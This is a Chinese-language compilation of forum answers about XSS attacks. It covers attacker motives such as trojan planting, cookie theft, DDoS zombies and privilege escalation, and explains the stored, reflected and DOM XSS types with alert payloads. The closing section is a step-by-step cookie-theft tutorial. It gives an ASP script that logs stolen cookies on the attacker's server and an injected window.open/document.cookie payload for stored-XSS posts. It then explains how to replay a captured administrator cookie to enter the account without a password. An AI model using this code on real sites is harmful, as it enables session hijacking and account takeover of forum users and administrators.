本文目录一览：
黑客进行xss跨站攻击所嵌入的代码是不是一般来说都是获取用户cookies
我认为应该有几点：
1、针对性挂马。所以这类网站一定是游戏网站，银行网站或者是关于qq、taobao或者影响力相当大的网站等，它们必须有我们平常需要盗取的帐号密码；当然也或许是这个站点的浏览量相当高，我们能将更多的马挂出去。而如果仅仅是平平常常的一个小站点的XSS漏洞，如果我们要挂马，那么还不如就直接把木马页面地址贴出去。
2、用户权限下操作。这类网站则必须有会员了，而且这些会员有很多有意义的操作或者有我们需要的内部个人资料，所以我们可以通过XSS对已登录访问者进行有权限操作。我认为cookies的盗取应该算作这一项，因为其目的也是获取用户操作权限（盗密码包括在内），从而获取用户某些信息或者进行权限下的相关操作。
3、DDOS攻击或傀儡机。这同样需要一个访问量非常大的站点，利用小站点莫不如我们自己攻击或获取信息。我们可以通过此页的访问用户不间断地攻击其他站点，或者进行局域网扫描等等。这类js工具早已经产生，js端口扫描、jikto、xssshell等等。
4、提权。一般这主要发生在论坛或信息管理系统，总之一定要有管理员了。这需要攻击者对目标系统相当熟悉（一般这样的系统需要开源代码），从而知道怎样构造语句进行提权。
5、实现特殊效果。譬如我在百度空间的插入视频，插入版块；譬如一些人在新浪博客或者校内网实现的特殊效果等等。
如何测试XSS漏洞
XSS跨站漏洞分为大致三种：储存型XSS，反射型XSS，和DOM型XSS，一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。XSS几乎每个网站都存在，google，百度，360等都存在，存在和危害范围广，危害安全性大。
具体利用的话：
储存型XSS，一般是构造一个比如说"scriptalert("XSS")/script"的JS的弹窗代码进行测试，看是否提交后在页面弹窗，这种储存型XSS是被写入到页面当中的，如果管理员不处理，那么将永久存在，这种XSS攻击者可以通过留言等提交方式，把恶意代码植入到服务器网站上， 一般用于盗取COOKIE获取管理员的信息和权限。
反射型XSS，一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码，例如：127.0.0.1/admin.php?key="scriptalert("xss")/script，也是弹窗JS代码。当攻击者发送一个带有XSS代码的url参数给受害者，那么受害者可能会使自己的cookie被盗取或者“弹框“，这种XSS一次性使用，危害比储存型要小很多。
dom型：常用于挖掘，是因为api代码审计不严所产生的，这种dom的XSS弹窗可利用和危害性并不是很大，大多用于钓鱼。比起存储型和反射型，DOM型并不常用。
缺点：
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底，后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用
所以楼主如果想更加深层次的学习XSS的话，最好有扎实的前后端开发基础，还要学会代码审计等等。
推荐的话，书籍建议看看《白帽子讲web安全》，《XSS跨站脚本攻击剖析与防御》
一般配合的话，kalilinux里面的BEFF是个很著名的XSS漏洞利用工具，楼主有兴趣可以去看看。
纯手工打字，望楼主采纳。
怎么用xss代码让cookie弹窗
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到'+document.cookie的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
